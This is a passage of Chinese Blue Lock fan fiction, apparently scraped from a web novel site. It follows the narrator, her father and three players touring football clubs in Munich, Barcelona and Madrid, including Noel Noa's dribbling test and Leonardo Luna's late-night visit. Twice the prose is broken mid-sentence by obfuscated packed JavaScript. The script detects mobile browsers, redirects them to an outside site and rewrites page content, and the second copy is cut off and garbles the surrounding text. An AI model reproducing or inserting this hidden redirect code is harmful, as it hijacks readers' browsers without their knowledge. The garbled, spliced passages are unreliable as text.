玲王的眉头瞬间蹙起,紫眸中闪过一丝不悦。他上前半步,不着痕迹地挡在了我和诺亚视线之间,脸上重新挂起那完美的、属于御影家继承人的得体微笑,语气却带着一丝不易察觉的维护:“诺亚先生,爱是我们的经理,她的能力在管理和组织上同样出色。足球并非只有踢球一种参与方式。” 诺亚的目光终于从玲王身上掠过,似乎对他这明显的维护姿态不置可否,只是淡淡地移开了视线,重新投向训练场,仿佛刚才的点评只是随口一提,不值一提。 父亲则哈哈大笑,拍了拍玲王的肩膀:“行啦行啦,诺埃尔这家伙看谁都觉得浪费天赋!在他眼里,不踢前锋的都是暴殄天物!走走走,别在这儿杵着了,带你们去看看更核心的地方!” 他显然不想让气氛僵住,推着我们继续往前走。 接下来的参观更像是一场足球工业的巡礼。高科技的体能检测中心,布满复杂屏幕的数据分析室,如同五星级酒店般舒适奢华的球员理疗恢复中心,摆满了各种精密器械的力量房……每一个地方都体现着顶级豪门的专业、严谨和财大气粗。洁世一像一块掉进知识海洋的海绵,拼命吸收着看到的一切,眼神越来越亮。玲王也看得极其认真,时不时提出专业的问题,让随行的工作人员都忍不住侧目。凪……凪依旧在节能,但偶尔扫过那些复杂的数据屏幕或从未见过的训练器械时,眼神里也会闪过一丝不易察觉的好奇。 最后,我们被带到了一个相对私密的室内小球场。场地不大,但设施顶级,铺着最新的人造草皮,四周是柔软的缓冲墙。 “好了,观光结束。”诺亚停下脚步,转过身,那双冰冷的金眸再次扫过我们,最终定格在玲王、凪和洁世一身上,“那家伙说你们是日本有潜力的苗子。潜力需要验证。” 他抬手指了指场边摆放整齐的足球,“基础测试。带球绕杆,限时。让我看看你们所谓的‘潜力’,值不值得我浪费时间。” 命令式的口吻,不容置疑。这显然才是他亲自带我们参观的真正目的——验货。 气氛瞬间紧绷起来。洁世一第一个反应过来,他像听到了冲锋号的士兵,毫不犹豫地大步走向场边,眼神坚定,充满了证明自己的渴望。玲王嘴角勾起自信的弧度,紫眸中燃起斗志,也从容地跟了上去。 凪诚士郎慢吞吞地抬起头,看了看场边那排黄色的标志杆,又看了看诺亚那张冰块脸,最后目光落在我和父亲身上,黑色的眼睛里清晰地写着“麻烦”和“想逃”。父亲立刻对他挤眉弄眼,做了个“上啊小子!赚钱!躺平!”的口型。凪的嘴角似乎极其轻微地向下撇了一下,认命般地叹了口气,迈开沉重的步伐,像被押赴刑场一样挪了过去。 三人站在起点线前,准备接受这位世界顶级前锋冷酷无情的审视。 洁世一深吸一口气,眼神专注。玲王活动着脚踝,神情轻松却带着认真。凪……凪低头看着脚下的足球,眼神放空,仿佛在思考人生的意义。 诺亚站在场边,抱着手臂,如同一位无情的考官。他那双金色的眼睛,如同精准的扫描仪,即将记录下三个少年最真实的水平。冰冷的白炽灯光打在场地上,将他们的身影拉长。空气里只剩下足球皮革的淡淡气味和无声的、名为“证明”的巨大压力。 10. 人是会累的 三个人都有惊无险地取得了优异的成绩。洁世一的动作标准得如同教科书,每一个变向、每一次触球都带着一种近乎虔诚的专注和精确,汗水浸湿了他额前的黑发,那两撮V字呆毛却依旧顽强地挺立着,如同他眼中燃烧的、证明自我的火焰。 玲王则如同在表演,流畅、优雅,带着一种与生俱来的掌控感,紫色的发丝在动作间飞扬,偶尔瞥向场边诺亚的眼神里,是毫不掩饰的自信和野心。 凪……凪的动作依旧透着那股慵懒的“节能”感,仿佛每一步都在计算着最低能耗,但诡异的是,足球在他脚下仿佛有了生命,总是沿着最省力、最高效的路线穿过标志杆,精准得令人发指。他高大的身躯移动起来像一头慢悠悠的白熊,可球却像被无形的丝线牵引着,乖巧地绕开所有障碍。这种强烈的反差,反而更显出一种怪物般的本能。 比较让我意外的是洁世一比我想的还要强一点。那种近乎偏执的专注力和对每个技术动作精益求精的打磨,让他在高压的计时测试下展现出了超乎寻常的稳定性和完成度。他冲过终点线时,胸膛剧烈起伏,脸上却绽放出纯粹喜悦的光芒,第一时间看向诺亚,像个等待老师批改作业的优等生。 父亲像是看出了我的这点意外,凑到我耳边,带着点促狭的笑意低声问:“怎么?是不是质疑老爸我的眼光了?以为我就是随便捡了个小粉丝回来?” 我连忙摇头,差点咬到舌头:“这方面还是不敢的。” 这话脱口而出。 父亲显然听出了这话里微妙的歧义,湛蓝的眼睛危险地眯了起来,像只被踩了尾巴的大猫。但他目光扫过不远处安静站立的母亲,后者正用那种温柔却带着无声警告的眼神看着他,父亲立刻偃旗息鼓,只是夸张地长叹一口气,转而用更低、更八卦兮兮的语气问我:“那……宝贝女儿,这三个小子,”他下巴朝场地中央那三个风格迥异、却都带着运动后潮红和汗水的少年扬了扬,“你最喜欢哪个?给老爸透个底?” 我的脸瞬间有点热,没好气地瞪了他一眼:“爸!别这么八卦!诺亚先生都看过来了!” 确实,诺亚那双冰冷的金眸虽然大部分时间都落在数据记录板上,但此刻似乎也带着一丝不易察觉的、看戏般的兴味,扫了我们父女一眼。 父亲闻言,非但不收敛,反而挺直了腰板,故意提高了点音量,带着点“过来人”的唏嘘:“唉,他看过来怎么了?我跟你说,诺埃尔这家伙,到现在都单身!肯定是因为他这张冰块脸和毒舌,一点魅力都没有,不讨女孩子喜欢!啧,白瞎了那张脸……” 话音未落,一道冰锥般的视线精准地射了过来。 诺埃尔·诺亚缓缓抬起头,那双淬金般的眼眸毫无波澜地锁定在父亲身上,薄唇紧抿,周身的气温仿佛瞬间骤降了十度。他没有说话,但那眼神里蕴含的无声警告和“你再多说一句试试”的冰冷压迫感,比任何咆哮都更具杀伤力。 父亲被那眼神冻得一个激灵,立刻像被掐住脖子的鸭子,讪讪地闭了嘴,还此地无银三百两地咳嗽了两声,假装研究起旁边墙壁上挂着的战术图解。 而场地中央,刚刚结束测试的三人正紧张地等待着最终宣判。玲王看似从容地整理着护腕,但微微抿紧的唇线和不时瞟向诺亚的目光泄露了他的在意。凪干脆坐在地上,背靠着缓冲墙,闭目养神,一副“结果爱咋咋地”的模样,只是那微微起伏的胸口比平时快了些。洁世一则站得笔直,双手紧贴在裤缝边,紧张得喉结不断滚动,眼巴巴地望着诺亚手中的记录板,那专注的样子仿佛在等待命运的裁决。 我也不禁为他们捏了把汗。诺亚的气场太强,要求太苛刻,他那句“浪费”的评价还言犹在耳。虽然他们的表现在我看来已经相当出色,但在这位世界级前锋眼中,或许仍有巨大的鸿沟。 时间仿佛被拉长。诺亚终于放下了记录板,冰冷的金眸扫过紧张等待的三人。 “御影玲王。”他先点了玲王的名字,声音毫无起伏,“技术娴熟,意识上乘,掌控欲强。把心思用在更直接的路径上。” 评价犀利,直指要害。玲王脸上的笑容僵了一瞬,紫眸中闪过一丝不服输的锐光,但很快化为深思,他微微颔首:“受教了,诺亚先生。” “凪诚士郎。”诺亚的目光转向地上那摊“白色史莱姆”。凪慢吞吞地睁开一只眼。“天赋。纯粹的本能。空间感和触球精度是顶级的胚子。”诺亚的语速很慢,每个字都像冰珠砸落,“可惜驱动这天赋的燃料是懒惰。如果‘节能’是一种罪,你该被判无期。” 凪没什么反应,只是那只睁开的眼睛又缓缓闭上了,仿佛在说“哦,知道了”。 最后,诺亚的目光落在洁世一身上。洁的身体瞬间绷得更直,几乎要行一个军礼。 “洁世一。”诺亚的声音似乎……比之前缓和了那么一丝丝?至少不再是纯粹的冰冷。“基础扎实,态度端正,学习欲望强烈。执行力像精准的瑞士钟表。” 洁世一的眼睛瞬间爆发出难以置信的狂喜光芒,脸颊激动得通红。然而诺亚的下一句话又将他稍稍打落云端:“但钟表需要发条,更需要灵魂。你缺了点燃一切、吞噬一切的饥饿感,缺了成为野兽的獠牙。数据完美,但足球场不是实验室。” 这评价,带着一丝遗憾,却也是最大的肯定,因为它指出了通往更高层次的方向。 洁世一先是愣住,随即眼中的光芒更加炽热,那不是被打击后的黯淡,而是被点明了道路的兴奋和燃烧的斗志。他用力鞠躬,声音洪亮甚至带着点哽咽:“是!非常感谢您的指导!诺亚先生!我一定会找到我的‘獠牙’!” 结果,是好的。虽然都被毫不留情地指出了不足,但无疑都得到了这位严苛考官的认可。尤其是洁世一,那“瑞士钟表”和“需要獠牙”的评价,简直是诺亚式最大的肯定和期许。 *** 我们在拜塔慕尼黑又停留了几天。行程被父亲安排得满满当当:观看一线队的非公开训练赛,近距离感受那些世界级球星举手投足间的气场和压迫感;参观更深入的青训学院,了解他们如何将一个个天赋各异的孩子塑造成符合拜塔体系的零件;甚至还有一堂由诺亚亲自简短讲解的战术分析课——虽然他那冰冷的语调让课堂温度始终维持在冰点以下,但内容之精辟,让玲王和洁世一恨不得把每个字都刻进脑子里。凪则大部分时间在神游,或者在训练基地的休息区寻找最舒服的沙发打盹,偶尔被玲王强行拖去进行“感受顶级氛围”的散步。 几天后,我们离开了慕尼黑。父亲挥舞着他那密密麻麻的行程单,宣布下一个目的地——西班牙! “先去巴塞罗那!让你们见识见识FC巴查的‘tiki-taka’是怎么把对手催眠的!然后转战马德里!REAL!银河战舰!感受一下什么叫巨星云集,什么叫华丽进攻!” 父亲的兴奋溢于言表,仿佛他自己才是要去朝圣的少年。 车子驶离萨本纳大街,洁世一趴在车窗上,久久回望着那座训练基地,眼神里充满了浓烈的不舍。拜塔的红黑色,诺亚冰冷的身影,梯队少年们风驰电掣的攻防转换,还有那句“需要獠牙”的箴言,已经深深烙印在他心里。对他而言,这几天的经历,无异于一场改变人生轨迹的朝圣。 飞机降落在巴塞罗那埃普拉特机场,热情的地中海气息扑面而来。FC巴查的训练基地“甘伯体育城”又是另一番景象。与拜塔的严谨高效不同,这里弥漫着一种艺术般的气息。强调极致的控球,追求精密的短传渗透,将球场视为巨大的棋盘,每一个传球都是一次精妙的落子。看着那些球员在狭小空间内如同穿花蝴蝶般的传切配合,玲王的眼神亮得惊人,那是一种对另一种足球美学的强烈兴趣。洁世一也努力吸收着,笔记本记得飞快,试图理解这种与德国足球截然不同的哲学。凪……凪看着那令人眼花缭乱的连续传递,眉头少见地蹙了起来,半晌才嘟囔了一句:“……传这么多脚,不累吗?” 对他来说,可能一脚解决问题才是最节能的。 马德里,伯纳乌球场和REAL的训练基地则带来纯粹的巨星冲击力。奢华、张扬、充满王者之气。球员的个人能力在这里被放大到极致,每一个动作都带着明星的光环。玲王在这种环境下显得如鱼得水,他欣赏那种将个人才华与团队结合到巅峰的魅力。洁世一则被另一种风格的顶级所震撼,笔记本上又增添了新的战术符号。凪在参观REAL的超豪华荣誉室时,对一座镶满钻石的金球奖杯多看了两眼,玲王立刻凑过去低声说:“看到没?拿一个这个,够你躺平几辈子。” 凪的眼神似乎波动了那么0.1秒。 行程密集得像在打仗。巴塞罗那的高迪建筑还没来得及细看,马德里的火腿博物馆也只是匆匆路过。从一个训练基地赶到另一个训练基地,从一个机场奔向另一个机场。阳光、汗水、草皮的气息、战术板的线条、不同语言的解说和惊呼……各种感官信息爆炸式地涌入。白天被安排得满满当当,晚上回到酒店还要应付父亲兴致勃勃的“复盘讨论会”。 身体积累的疲惫如同沉重的沙袋。在结束了马德里REAL基地的参观,终于抵达当晚下榻的酒店时,我感觉全身的骨头都在抗议。勉强支撑着办理完入住,拖着行李箱走进房间,连灯都懒得开全。行李箱倒在门边也顾不上了。房间宽大舒适,落地窗外是马德里璀璨的夜景,但我此刻只想拥抱那张看起来无比柔软的白色大床。 意识几乎是沾到枕头边缘的瞬间就开始模糊。身体陷进柔软的床垫里,像沉入温暖的海水。紧绷的神经一根根松懈,耳边似乎还残留着父亲洪亮的笑声、玲王兴奋的讨论、洁世一唰唰的笔记声、凪懒洋洋的哈欠,以及绿茵场上此起彼伏的哨音和呼喊……但这些声音都迅速远去、模糊,最终被一片深沉而宁静的黑暗温柔吞噬。 我睡着了。睡得毫无知觉,像一块被疲惫彻底融化的橡皮泥。连梦都来不及做,就沉入了黑甜乡的最深处。 不知过了多久,意识像是沉船后缓慢上浮的碎片,一点点从深海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251810|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中挣扎着浮现。 最先恢复的是听觉。 很安静。只有空调系统发出的、极其微弱而均匀的送风声,如同静谧海洋深处的背景音。然后是嗅觉。陌生的、带着点消毒水清洁后留下的淡淡柠檬香精味的空气,混合着高级床品柔软剂的气息。 眼皮沉重得如同灌了铅。我费力地掀开一丝缝隙。 视野模糊。昏暗的光线下,只能辨认出天花板上简洁的几何吊顶轮廓,以及从厚重窗帘缝隙里透进来的、属于异国夜晚的微弱天光。 我在哪里? 大脑空白了几秒,记忆如同卡顿的录像带,断断续续地开始回放。巨大的机舱,油腻的德国烤猪肘,诺埃尔·诺亚冰冷的金色眼眸,拜塔慕尼黑训练场上风驰电掣的少年,巴塞罗那令人眼花缭乱的传控,马德里REAL基地耀眼的星光……碎片化的画面和声音纷至沓来,最终定格在父亲挥舞着行程单的兴奋面孔上。 西班牙。马德里。酒店。 身体的感觉也渐渐清晰。是那种深度睡眠后,肌肉彻底放松又带着点慵懒酸软的舒适感。每一寸筋骨都像被熨帖过,沉甸甸地陷在柔软得不可思议的床垫里,温暖干燥的羽绒被轻柔地覆盖着身体,带来无与伦比的安全感。之前积累的、深入骨髓的疲惫感,似乎被这场酣睡冲刷掉了大半,只剩下一种舒适的倦怠。 好舒服……不想动。 我满足地喟叹一声,在枕头上蹭了蹭脸颊,准备放任自己再次沉入那片安适的黑暗。 就在这时,一阵极其轻微的、仿佛刻意压低的交谈声,如同投入平静水面的小石子,从房间门口的方向隐隐约约地传来。 “……真的还在睡?都……” “嗯……她累坏了……” 是玲王的声音,压得很低,带着一种小心翼翼的温柔。 “……猪……” 这个平板无波、言简意赅的单音节词,不用想也知道出自谁口。 紧接着是玲王带着点警告意味的低语:“喂,凪!” 然后是洁世一那特有的、带着点紧张和歉意的声音,同样压得低低的:“那个……我们要不要先下去?让清田同学再多休息一会儿?清田先生和伯母好像在餐厅等……” 门外的对话还在继续,但我的意识已经完全清醒了。心里划过一丝微妙的暖意,又有点好笑。这三个家伙,在我门口开小会呢?还有凪,居然敢说我是猪……虽然好像……也没说错?这一觉确实睡得天昏地暗。 我挣扎着,试图撑起身体。手臂有点发软,但精神却出奇地好。正想开口回应他们,一个念头却像狡猾的小鱼,毫无预兆地溜进了脑海。 我动作一顿,重新放松了身体,甚至调整了一下呼吸,让它听起来更加均匀绵长。 房间里依旧昏暗而安静,只有空调的微风声。我闭着眼睛,像一尊沉睡的雕塑,耳朵却敏锐地捕捉着门外的一切细微动静。 短暂的沉默后,是门把手被极其小心、极其缓慢地拧动的声音。金属部件摩擦发出细微到几乎听不见的“咔哒”轻响。 门,被推开了一条缝隙。 走廊里明亮得多的光线,像一道金色的利刃,瞬间劈开了房间内的昏暗,斜斜地投射在地毯上。几道被拉长的影子,也随之悄悄地探了进来,投射在门内的地板上。 我能清晰地“感觉”到几道目光,带着不同的温度,小心翼翼地落在我的方向。 玲王的目光,应该是带着温柔的笑意和一丝不易察觉的宠溺,或许还混杂着点“看她睡得多香”的小得意?凪的目光,大概依旧是那副懒洋洋、没什么情绪的样子,但可能带着点“果然还在睡”的“不出所料”?洁世一的目光,肯定是充满了真诚的关切和“千万别吵醒她”的紧张…… 他们没进来。只是安静地站在门口,像几个守候在城堡外的、蹑手蹑脚的骑士。 时间仿佛在昏暗中被拉长、凝固。只有地毯上那几道安静的影子,和门外那几乎屏住的呼吸声,证明着时间并未停止。 我闭着眼,感受着这份无声的、带着点孩子气的守护。身体陷在柔软的云端,心底却像是被温热的泉水浸润着,暖洋洋的。旅途的疲惫,异国的疏离,在这一刻都被门外那几道小心翼翼的影子和呼吸悄然驱散。 终于,过了仿佛一个世纪那么久(其实可能只有十几秒),门外传来玲王刻意压得极低、如同气音般的声音: “……走吧,让她再睡会儿。我们下去跟伯父伯母说一声。” 然后是脚步声被地毯吸走的细微摩擦声,以及门被轻轻带上的、几不可闻的“咔哒”声。 走廊的光线消失了,房间重新陷入温暖的昏暗。 直到确认门外彻底安静下来,我才缓缓地、深深地吸了一口气,然后睁开了眼睛。 黑暗中,我的嘴角无法抑制地向上扬起,形成一个无声的、大大的笑容。 真是一群……笨蛋啊。 11. 莱昂纳多·卢纳 我似乎真的睡了很久。 当我再次醒来的时候,床头柜上只剩下一碗凉透的饭和一张便条:【好好休息!】 这话看起来像是要抛下我一样。不妙,真是不妙。 房间里只开了一盏昏黄的壁灯,将偌大的空间切割成模糊的光影。落地窗外,马德里的璀璨灯火已不如刚入住时那般喧嚣明亮,沉入一种更深邃的、属于后半夜的宁静。空气里只有空调低沉的嗡鸣,以及我自己骤然急促起来的心跳声。 他们人呢?父亲、母亲、玲王、洁、凪……所有人都走了?只留下这一碗冷掉的饭和一张语焉不详的纸条?一股莫名的恐慌像冰冷的藤蔓,瞬间缠绕住心脏,勒得我几乎喘不过气。旅途的疲惫和异国他乡的疏离感在这一刻被无限放大。不行!不能就这么被丢下! 我几乎是弹坐起来,掀开被子,双脚胡乱地踩进柔软的酒店拖鞋里,顾不上整理睡得乱七八糟的睡衣,拔腿就冲向房门。 冰凉的门把手触碰到指尖的刹那,一种更微妙、更“不妙”的触感却抢先一步从嘴角传来。 湿的。 我下意识地抬手一抹——指尖上沾着一点可疑的、微凉的……口水?! 轰! 一股滚烫的热气瞬间从脚底板直冲头顶!刚才那点“被抛弃”的恐慌瞬间被巨大的、足以让脚趾抠穿地板的羞耻感取代!御影玲王!凪诚士郎!洁世一!甚至可能还有那个新来的洁世一!他们刚才……是不是都看到了?!看到我睡得人事不省、毫无形象,甚至还……流口水?! 这比被丢在西班牙还要可怕一万倍! 我猛地缩回握住门把的手,像被烫到一样,转身以百米冲刺的速度冲进套间内的卫生间,“砰”地一声关上门,反锁!动作一气呵成,快得仿佛身后有洪水猛兽。 啪嗒。 明亮的顶灯瞬间驱散了昏暗,也无情地照亮了盥洗镜中那个狼狈不堪的身影。 镜中的少女头发睡得乱糟糟,几缕发丝不服帖地翘着,贴在汗湿的额角和脸颊。那双遗传自父亲的、如同爱琴海般深邃的蓝眼睛此刻瞪得溜圆,里面写满了惊魂未定和羞耻欲绝。脸颊因为刚才的奔跑和羞臊而泛着明显的红晕,衬得那张遗传自母亲的、线条温润柔和的脸庞更添了几分慌乱。最要命的是,嘴角那点湿润的痕迹虽然擦掉了,但那种“社死”的感觉却像烙印一样刻在皮肤上。 “清田爱,你的形象……彻底崩坏了……”我对着镜子无声哀嚎。 深吸一口气,拧开水龙头。冰凉的清水哗啦啦流下,我掬起一捧狠狠拍在脸上。刺骨的凉意瞬间浇灭了脸上的燥热和心头的慌乱。一下,两下……直到感觉脸上的温度降下去,心跳也勉强恢复了正常节奏。 抬起头,水珠顺着湿漉漉的鬓角和下颌线滴落。镜子里的人终于清爽了一些,虽然眼神里还残留着些许惊魂甫定,但至少不再是刚才那副天塌地陷的模样。母亲遗传的黑发被打湿后柔顺地贴在脸颊,更衬得那张脸柔和得像一幅古典的仕女画——如果忽略掉那双因剧烈情绪波动而显得格外明亮的蓝眼睛的话。 不行,不能这么披头散发地出去。我拉开洗漱台的抽屉,幸运地找到一根酒店提供的黑色橡皮筋。双手拢起还有些潮湿的头发,在脑后简单地扎成一个利落的马尾。清爽多了,至少看起来……没那么像刚经历了一场灾难性睡眠的逃兵。 再次深吸一口气,对着镜子确认了一下眼神——嗯,平静,一定要平静,就当无事发生!我伸手握住冰冷的门把手,正准备拧开—— 咔哒。 门外,几乎是同一时间,传来了房卡刷开电子锁的清脆声响! 门被从外面推开了。 我握着门把的手僵在半空,整个人像被施了定身咒,维持着一个极其别扭的姿势,正好与推门进来的两道视线撞了个正着! 走在前面的是母亲,她脸上带着显而易见的担忧,看到我站在卫生间门口,明显松了口气,但眉头依旧微蹙着。跟在她身后的,是洁世一,他手里似乎还端着一个什么东西,看到我时,那双清澈的蓝眼睛亮了一下,随即又有些不好意思地微微垂下了视线。 而在洁世一的身后,一个更高大、更懒散的身影慢吞吞地“滑”了进来。凪诚士郎顶着他那头标志性的乱糟糟白发,手里端着一个酒店提供的果盘,里面堆满了切好的新鲜水果。他半睁着的黑色眼睛没什么焦点地扫过我,在掠过我还带着水汽的鬓角和明显刚整理过的马尾时,似乎极其短暂地停顿了那么零点一秒,然后慢悠悠地移开,仿佛什么都没看见,只是那微微抿起的唇角好像……翘起了一个微不可察的弧度? 完了!还是被撞见了!而且是被三个人!我仿佛能听到自己内心形象彻底崩塌的巨响! “小爱!”母亲快步走过来,温暖的手立刻覆上我的额头,又仔细端详我的脸色,“怎么站在这里?醒了多久了?感觉怎么样?头还晕吗?有没有哪里不舒服?”她一连串的问题像温柔的潮水,瞬间将我淹没,语气里是毫不掩饰的关切。 洁世一也关切地看着我,端着果盘的手指微微收紧:“清田同学,你还好吗?睡了那么久,我们都很担心……” 凪则慢吞吞地把果盘放在房间中央的小圆桌上,发出一声轻微的碰撞声,算是完成了他的“运输”任务。然后他就近把自己“卸”进了旁边的单人沙发里,像一尊巨大的、节能的白色雕塑,只留一双没什么情绪的眼睛看着这边。 我努力维持着表面的镇定,试图将嘴角那点水痕和刚才的狼狈从所有人的记忆中一键删除。“没、没事了,母亲。”我抓住母亲还在探我额头温度的手,轻轻拉下来,声音尽量放得平稳,“就是睡得太沉了,现在完全清醒了,一点事都没有,真的,头不晕,也没不舒服。” 为了增加说服力,我还特意原地蹦了两下,展示自己精力充沛。 母亲仔仔细细地打量着我,从我的眼睛看到我的脸色,又确认了一下我的脉搏,才终于放下心来,长长地舒了口气:“没事就好,没事就好。你这一觉睡得,可把我们吓着了。晚饭送来你都没醒,怎么叫都叫不动。”她嗔怪地看了我一眼,眼神里却全是心疼。 “抱歉,让你们担心了。”我真心实意地道歉,目光扫过洁世一和沙发上的凪。洁世一连忙摆手表示没关系。凪……凪只是懒洋洋地“嗯”了一声。 “好了,既然你没事,我也就放心了。”母亲拍了拍我的手,目光转向洁世一和凪,脸上露出温柔而礼貌的笑容,“玲王君他们都在楼下,世一君,诚士郎君,麻烦你们多陪陪小爱,看着她点,别让她再硬撑。我下去看看,你父亲那边……老朋友来了,正聊得起劲呢。” 老朋友?这么晚了?我心头刚浮起疑惑,母亲已经转身,步履轻盈地离开了房间,还体贴地带上了门。 房间里只剩下我们三人。洁世一似乎有些不自在,目光不知道该往哪里放。凪则依旧陷在沙发里,仿佛已经进入待机状态。 “这么晚了……母亲他们下去做什么?”我忍不住问出声,目光在洁世一和凪之间徘徊。父亲的老朋友?是谁能让父亲在深夜还兴致勃勃地叙旧? 几乎是话音刚落,沙发上的凪诚士郎就张开了嘴,而站在圆桌旁的洁世一也同时开口。 “一个金毛绿眼的家伙……” “是清田先生的一位老朋友,西班牙国脚莱昂纳多·卢纳先生……” 两道声音重叠在一起,内容指向同一件事,但表述方式和蕴含的情绪却截然不同,像两条不同频道的广播信号同时灌入我的耳朵。 我:“……” 洁世一显然没料到会撞车,立刻涨红了脸,闭上了嘴,有些无措地看向凪。凪倒是没什么反应,只是慢吞吞地把他没说完的话接了下去,依旧是那副“好麻烦”的调调:“……那家伙的笑容,让人感觉有点不舒服。” 洁世一像是找到了补充的机会,立刻点头,试图用更客观的语言解释:“卢纳先生是世界级的前锋,听说和清田先生是多年的好友。他白天行程很忙,没能及时赶来,所以特意选在晚上过来叙旧……” 他一边说着,一边下意识地看向凪,似乎想确认自己的说法是否准确。 凪接收到洁世一的目光,半睁着的黑眼睛眨了眨,像是在处理信息,然后他微微歪了歪头,用一种陈述事实的语气,将洁世一刚才的话进行了“节能化”翻译补充:“嗯。很忙。晚上有空。就来了。” 说完,他还特意看了洁世一一眼,仿佛在问“这样对吗?” 洁世一被凪这过于精简的补充弄得一愣,随即又连忙点头,试图把凪的“节能语”再扩展回正常人类的语言:“是的,卢纳先生很重视和清田先生的友谊,所以即使很晚也……” “……” 我的太阳穴开始突突地跳。这两个人!一个恨不得把对方生平履历都背出来以示尊重,一个只想用最少的字概括核心事件还附带主观差评!两人明明在说同一件事,却像在用两种完全不同的语言体系进行着诡异的互译和补充,信息流混乱地交织碰撞,绕得我头晕眼花,比看拜塔慕尼黑的战术板还费劲! “停!”我忍不住扶额,打断了这越来越混乱的“二重奏”,“一个一个说!洁同学,你来说就好!” 再让他们俩这么“配合”下去,我头真的要炸了。 洁世一被我点名,立刻站直了身体,像被老师提问的好学生,清了清嗓子,清晰地说道:“是莱昂纳多·卢纳先生,西班牙国家队的主力前锋,世界级球星。他是清田先生多年的好友。因为白天有重要的商业活动安排,所以没能第一时间赶来和清田先生见面。知道我们今晚住在这里,就特意在活动结束后赶过来叙旧了。” 这次表述完整清晰,没有凪的干扰,顺畅多了。 凪在旁边极其轻微地撇了下嘴,仿佛在说“看吧,我说了是金毛绿眼的家伙来了”,但他很“节能”地保持了沉默。 莱昂纳多·卢纳……这个名字有点耳熟。我闭上眼,在记忆的角落里搜寻。父亲似乎提起过,用那种又好气又好笑的语气,评价他是个“说话能噎死个人、看起来轻浮得要命、偏偏球技又该死的漂亮”的家伙。父亲总说他那张永远笑眯眯的嘴,说出来的话却总是带着点让人抓狂的“阴阳怪气”,但两人私下关系似乎确实不错,属于那种能互相损到死却又能一起喝酒到天亮的损友。 金发绿眼,笑容轻浮,说话招人误会……还让感觉敏锐的凪觉得“不舒服”…… 我睁开眼,目光在凪那副“生人勿近”的表情和洁世一依旧带着点紧张的脸上转了一圈。嗯,特征对上了。看来这位卢纳先生,本人比父亲描述得还要“有特色”。 等等! 一个名字闪电般划过脑海!我猛地看向洁世一和凪:“玲王呢?玲王没和你们一起回来?” 刚才母亲只提到了“玲王君他们都在楼下”,但现在房间里只有洁和凪!玲王去哪了? 又是异口同声! “出去了。” “玲王君他……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他这一连串的问题,语气、内容,简直和刚才的母亲如出一辙!我看着他这副气喘吁吁、老妈子附体般的模样,再看看他怀里那个仿佛装下了整个药店的塑料袋,心里那点担忧瞬间被一种巨大的、混合着好笑、感动和“果然如此”的暖流冲得七零八落。 就在他走到我面前,气息还没喘匀,下一波“关心轰炸”即将出口的瞬间—— 我伸出手,食指精准地、轻轻地按在了他光洁饱满的额头上。 “停。” 我的声音不大,却带着一种奇异的镇定力量,成功地让玲王所有涌到嘴边的话卡在了喉咙里。 他猛地顿住,紫眸微微睁大,有些错愕地看着我抵在他额头的手指。这个过于亲昵又带着点“禁止通行”意味的动作,显然超出了他此刻混乱又焦急的脑回路处理范围。 我迎着他满是问号的眼神,清晰地、一字一顿地说道: “我、没、事。” 为了增加可信度,我还特意晃了晃脑袋,证明脖子以上运转正常。 “只是——”我拖长了语调,目光扫过他怀里那个夸张的塑料袋,又落回他写满担忧的脸上,语气带上了一丝无奈的笑意,“——有点饿。” “饿?”玲王愣了一下,随即像是终于从“爱酱可能病危”的灾难剧本里挣脱出来,紫眸中的焦急迅速褪去,被一种“原来如此”的恍然和一丝不易察觉的……尴尬取代。他低头看了看自己怀里那个塞满了药品、唯独没有食物的塑料袋,白皙的耳根以肉眼可见的速度染上了一层薄红。 就在这气氛微妙转换、带着点劫后余生般轻松又有点好笑的寂静时刻—— “Maybe I have a moment~(打扰了~)” 一个带着明显西班牙语口音、慵懒又磁性、如同大提琴般悦耳的男声,突兀地、毫无预兆地从敞开的房门口飘了进来。 紧接着,一颗金灿灿的脑袋探了进来。 来人有着一头如同融化阳光般耀眼纯粹的金色短发,打理得时尚又随性。一张脸英俊得如同雕塑杂志的封面模特,棱角分明,皮肤是健康的蜜色。最引人注目的是那双眼睛——如同上好的祖母绿宝石,深邃、剔透,此刻正微微弯着,盈满了毫不掩饰的、极具感染力的笑意。他的嘴角高高扬起,勾勒出一个近乎完美的、灿烂到晃眼的弧度。脸上干干净净,没有一丝胡茬的痕迹,看起来年轻而充满活力。 他就这么笑眯眯地,将上半身探进门内,目光精准地越过门口的玲王,直接落在了我的身上。那双漂亮的绿眼睛在我脸上饶有兴致地转了一圈,尤其是在我还有些湿漉漉的鬓角和刚扎起的马尾上停留了一瞬,笑意更深了。 “Hola, chica bonita~(你好啊,漂亮姑娘~)”他语调轻快,带着点玩世不恭的腔调,目光扫过玲王怀里那个醒目的药店袋子,又落回我脸上,笑容更加灿烂,仿佛看到了什么极其有趣的事情。 “听说我们的小睡美人终于醒了?饿了对吗?”他说着英语,变戏法似的从身后拿出一个精致的、扎着缎带的深色木盒,上面印着烫金的西班牙文字和繁复的花纹,一看就价值不菲。 “正好~要不要尝尝正宗的、还带着马德里夜晚热情的特产点心?”他晃了晃手中的盒子,绿宝石般的眼眸里闪烁着促狭而迷人的光芒,视线却若有似无地扫过旁边瞬间绷紧了身体、脸色微沉的御影玲王。 “保证比你床头那碗冷掉的米饭……要美味得多哦?” 12. 恶趣味の大哥哥 我收是不可能收下的。卢纳的出现显然是不讨喜的,玲王和凪对他的意见都写在脸上了。 这家伙,是来这逗小孩的吧? “Thank you for your kindness, Mr. Luna.(谢谢你的好意,卢纳先生)”我婉拒,并期盼着卢纳的恶趣味能尽早散去。声音尽量维持着平稳,但拒绝之意清晰可闻。 